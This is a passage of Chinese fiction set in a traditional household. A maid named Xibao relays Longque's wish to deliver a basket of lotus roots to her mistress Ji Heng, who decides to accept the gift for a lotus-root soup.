龙雀挠挠后颈,干脆明示了意思:“我阿姐如今好多了,已经能下地帮干农活了,她亲手给甄夫人摘了筐莲藕,也不知夫人爱不爱吃,今日得缘遇见了你,若是方便,领我给景明院送去!” 细宝眨巴着眼睛,想了想,谨慎答:“我需得先问过娘子。” “好,我自是不敢随意叨扰,明日乞巧,姑娘择个有空的时间,我在这里等您的回复如何?” “我们明早还要随娘子去高沛看打马球,晚上又有宴会……要不就傍晚这时候吧。还有,你别太客气了,我叫细宝,私下唤名字就行。” “好,细宝姑娘,咱们就一言为定了!”龙雀得偿所愿,终于欢喜地离开了。 细宝望着那人的背影,顾自摇了摇头,难免有些轻蔑,等回景明院,见季蘅正拉着缦双倚坐在榻边练习女工,先把文夫人所赠的美味菊花酒奉上,然后一并将方才遭遇龙雀的事如实禀告。 听完,季蘅抱着个针黹盒,意外沉默了,她不知想起了什么,连品酒的兴致也少了大半,只翻看手里的花样,有些犹豫。 一旁的缦双理顺了丝线,装作不经意言语:“娘子行善积德,哪为贪图他们一声谢的。何况大家都在袁府,倒也不必特意来跟前,有缘自然常见到。” “我也是这样同她说的,可人家拗得很,不依不饶,非要亲自拜见,”细宝叹了声,凑到季蘅膝边,“左不过见个奴婢嘛,娘子是不是怕她讹上您?” 对此,季蘅忽笑着摇头:“我却是怕她……太多内疚。” 细宝很不解。 只听她又问:“你瞧着夏龙雀为人如何?” “乍一看,那张面庞还是怪骇人的,不过,对我说起话来倒意外客气,粗中有细,应当是个老实恳切的好人家吧。” 季蘅顿了顿,看向缦双,忽道:“其实,能有一些恰如其分的小歉疚,也并非全然坏事,往后或许就修身慎行了,再顺便结交点儿人情。” 旁人听得云里雾里,好在缦双一点就透,早已懂了自己的意思,笑着对越发糊涂的细宝说:“娘子喜欢喝莲藕排骨汤,既然有送上门的买卖,你且安排下吧。”